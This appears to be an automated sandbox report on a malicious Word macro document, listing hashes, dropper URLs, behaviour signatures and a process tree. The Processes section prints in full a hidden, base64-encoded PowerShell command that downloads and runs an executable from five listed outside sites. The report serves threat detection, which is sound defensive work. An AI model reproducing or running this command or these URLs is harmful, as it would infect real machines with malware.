Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:26

General

  • Target

    8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618.doc

  • Size

    218KB

  • MD5

    cd176f635af723f2a7c9e515995ce72b

  • SHA1

    4c1902b0f950928e40a58065b5498f1c41a3fbeb

  • SHA256

    8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618

  • SHA512

    68f27182c957f4e22ddb21fdcc3673a06c61da9ce462d0f0074516baff9a522f89ee6c9d6a3345c3a24b91f2d665ca85d202fded6e48fb0b645926c9c9c5f79d

  • SSDEEP

    6144:CpL2k4otGiL3HJk9yD7bWDEj3iOERA+nLZByBW2Ufgl:+LxQitkI7bd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://candsengg.com/wp-admin/ggn/

exe.dropper

https://evaskincomplex.com/wp-includes/B48dZmZ/

exe.dropper

https://florandina.com/wordpress.bk/lFu77Ma6/

exe.dropper

https://concatstring.com/__MACOSX/ByaZo/

exe.dropper

https://kashifclothhouse.com/wp-admin/3NLIj/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2536
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2944
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:3016
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAG8AaQBiAGMAbwBwAGUAdgB1AD0AJwBHAHQAcwBhAHUAdgBzAGMAbgAnADsAJABOAGQAZQBqAHIAagBmAGoAZAAgAD0AIAAnADgAOQA3ACcAOwAkAFoAegBtAGMAYQBqAGgAagA9ACcARABvAGUAbgB1AHcAYgBtAGQAJwA7ACQATAByAHoAYwBuAHAAeABsAHIAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBkAGUAagByAGoAZgBqAGQAKwAnAC4AZQB4AGUAJwA7ACQAWQB5AHAAegBpAGsAbwBrAHAAdwB5AGEAPQAnAEQAYwBuAGUAbQBuAGsAbAAnADsAJABNAHgAbwBiAGcAbQBvAHMAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4APQAnAGgAdAB0AHAAOgAvAC8AYwBhAG4AZABzAGUAbgBnAGcALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGcAZwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQB2AGEAcwBrAGkAbgBjAG8AbQBwAGwAZQB4AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBCADQAOABkAFoAbQBaAC8AKgBoAHQAdABwAHMAOgAvAC8AZgBsAG8AcgBhAG4AZABpAG4AYQAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALgBiAGsALwBsAEYAdQA3ADcATQBhADYALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBjAGEAdABzAHQAcgBpAG4AZwAuAGMAbwBtAC8AXwBfAE0AQQBDAE8AUwBYAC8AQgB5AGEAWgBvAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AMwBOAEwASQBqAC8AJwAuACIAcwBwAEwAYABJAFQAIgAoACcAKgAnACkAOwAkAEUAdwBnAGEAdgBiAGEAdABjAGkAYQA9ACcAQwByAHkAcwB5AGQAbABmAG4AeABsAHEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQARAB1AGUAdwB0AHAAYwBlAHYAdQBqAG8AIABpAG4AIAAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4AKQB7AHQAcgB5AHsAJABNAHgAbwBiAGcAbQBvAHMALgAiAEQATwB3AGAATgBMAG8AQQBkAEYAaQBgAEwARQAiACgAJABEAHUAZQB3AHQAcABjAGUAdgB1AGoAbwAsACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkAOwAkAFIAeABpAG4AYQBhAHYAbQBlAD0AJwBOAHYAZQB5AHkAYwBkAGcAawBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkALgAiAGwAYABlAG4AYABnAFQASAAiACAALQBnAGUAIAAzADYAMQA1ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQByAFQAIgAoACQATAByAHoAYwBuAHAAeABsAHIAcgApADsAJABOAGoAcQB5AHYAawBiAG4AcwA9ACcAWgBuAHoAdgBoAGUAdQBlAGoAJwA7AGIAcgBlAGEAawA7ACQAQQBvAHoAagBuAG4AZAB2AGQAYwB3AD0AJwBRAGUAbwBqAGQAbgBhAGMAYwB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAbABkAGgAdABxAGMAcwB4AGkAYgA9ACcAWABvAGoAeAB5AGIAYwBpAG4AZQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2728

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AA56E061.wmf

      Filesize

      444B

      MD5

      d80cd02ec2a6105400483eb3b3be82ed

      SHA1

      d65002e1f42265ba51e068269a919d19b4a4b120

      SHA256

      8a28fa015134c76f87827907525590a036e3186c270a004bcf0a69f8526c694a

      SHA512

      30d20d0fc1d6a42a4bf3aac42ba53efa052ecae86294c72862434081a81ccae67a90c973cc1ce9361f53ebd818d372ffc2cd735b953327a870dcd4964e94c287

    • memory/1712-22-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-0-0x000000002FD31000-0x000000002FD32000-memory.dmp

      Filesize

      4KB

    • memory/1712-20-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1712-15-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-16-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

      Filesize

      4KB

    • memory/1712-21-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-23-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-19-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-40-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-45-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-5-0x0000000005200000-0x0000000005300000-memory.dmp

      Filesize

      1024KB

    • memory/1712-25-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-28-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-26-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1712-41-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

      Filesize

      4KB

    • memory/1712-2-0x000000007130D000-0x0000000071318000-memory.dmp

      Filesize

      44KB

    • memory/1712-38-0x000000007130D000-0x0000000071318000-memory.dmp

      Filesize

      44KB

    • memory/1712-39-0x0000000005200000-0x0000000005300000-memory.dmp

      Filesize

      1024KB

    • memory/2728-35-0x00000000027F0000-0x00000000027F8000-memory.dmp

      Filesize

      32KB

    • memory/2728-34-0x000000001B5B0000-0x000000001B892000-memory.dmp

      Filesize

      2.9MB

    • memory/2944-17-0x0000000001EC0000-0x0000000001EC1000-memory.dmp

      Filesize

      4KB